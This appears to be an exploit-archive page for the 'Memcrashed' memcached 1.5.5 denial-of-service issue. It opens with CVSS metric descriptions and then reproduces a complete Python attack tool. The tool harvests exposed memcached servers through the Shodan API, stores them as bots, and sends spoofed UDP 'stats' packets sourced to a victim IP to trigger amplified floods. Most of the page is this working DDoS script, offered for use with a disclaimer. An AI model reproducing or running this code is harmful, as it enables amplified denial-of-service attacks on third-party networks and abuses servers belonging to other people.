The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Memcached 1.5.5 Memcrashed Insufficient Control of Network Message Volume Denial of Service
#-- coding: utf8 --
#!/usr/bin/python
import sys, os, time, shodan
from pathlib import Path
from scapy.all import *
from contextlib import contextmanager
starttime=time.time()
@contextmanager
def suppress_stdout():
with open(os.devnull, "w") as devnull:
old_stdout = sys.stdout
sys.stdout = devnull
try:
yield
finally:
sys.stdout = old_stdout
class color:
HEADER = '\033[0m'
keys = Path("./api.txt")
logo = color.HEADER + '''
Author: @037
Version: 3.1
####################################### DISCLAIMER ########################################
| Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable |
| memcached servers. It then allows you to use the same servers to launch widespread |
| distributed denial of service attacks by forging UDP packets sourced to your victim. |
| Default payload includes the memcached "stats" command, 10 bytes to send, but the reply |
| is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. |
| I am NOT responsible for any damages caused or any crimes committed by using this tool. |
###########################################################################################
'''
print(logo)
if keys.is_file():
with open('api.txt', 'r') as file:
SHODAN_API_KEY=file.readlines()
else:
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
while True:
api = shodan.Shodan(SHODAN_API_KEY)
print('')
try:
myresults = Path("./bots.txt")
query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower()
if query.startswith('y'):
print('')
print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY)
results = api.search('product:"Memcached" port:11211')
print('[] API Key Authentication: SUCCESS')
print('[~] Number of bots: %s' % results['total'])
print('')
saveresult = input("[*] Save results for later usage? <Y/n>: ").lower()
if saveresult.startswith('y'):
file2 = open('bots.txt', 'a')
for result in results['matches']:
file2.write(result['ip_str'] + "\n")
print('[~] File written: ./bots.txt')
print('')
file2.close()
saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower()
if myresults.is_file():
if saveme.startswith('y'):
ip_arrayn = []
with open('bots.txt') as my_file:
for line in my_file:
ip_arrayn.append(line)
ip_array = [s.rstrip() for s in ip_arrayn]
else:
print('')
print('[] Error: No bots stored locally, bots.txt file not found!')
print('')
if saveme.startswith('y') or query.startswith('y'):
print('')
target = input("[] Enter target IP address: ")
power = int(input("[] Enter preferred power (Default 1): ") or "1")
data = input("[] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"
print('')
if query.startswith('y'):
iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower()
if iplist.startswith('y'):
print('')
counter= int(0)
for result in results['matches']:
host = api.host('%s' % result['ip_str'])
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
if saveme.startswith('y'):
iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower()
if iplistlocal.startswith('y'):
print('')
counter= int(0)
for x in ip_array:
host = api.host('%s' % x)
counter=counter+1
print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a')))
time.sleep(2.0 - ((time.time() - starttime) % 2.0))
print('')
engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower()
if engage.startswith('y'):
if saveme.startswith('y'):
for i in ip_array:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, i))
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % i)
with suppress_stdout():
send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power)
else:
for result in results['matches']:
if power>1:
print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str']))
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
elif power==1:
print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str'])
with suppress_stdout():
send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power)
print('')
print('[] Task complete! Exiting Platform. Have a wonderful day.')
break
else:
print('')
print('[] Error: %s not engaged!' % target)
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[] Error: No bots stored locally or remotely on Shodan!')
print('[~] Restarting Platform! Please wait.')
print('')
except shodan.APIError as e:
print('[] Error: %s' % e)
option = input('[*] Would you like to change API Key? <Y/n>: ').lower()
if option.startswith('y'):
file = open('api.txt', 'w')
SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ')
file.write(SHODAN_API_KEY)
print('[~] File written: ./api.txt')
file.close()
print('[~] Restarting Platform! Please wait.')
print('')
else:
print('')
print('[] Exiting Platform. Have a wonderful day.')
break
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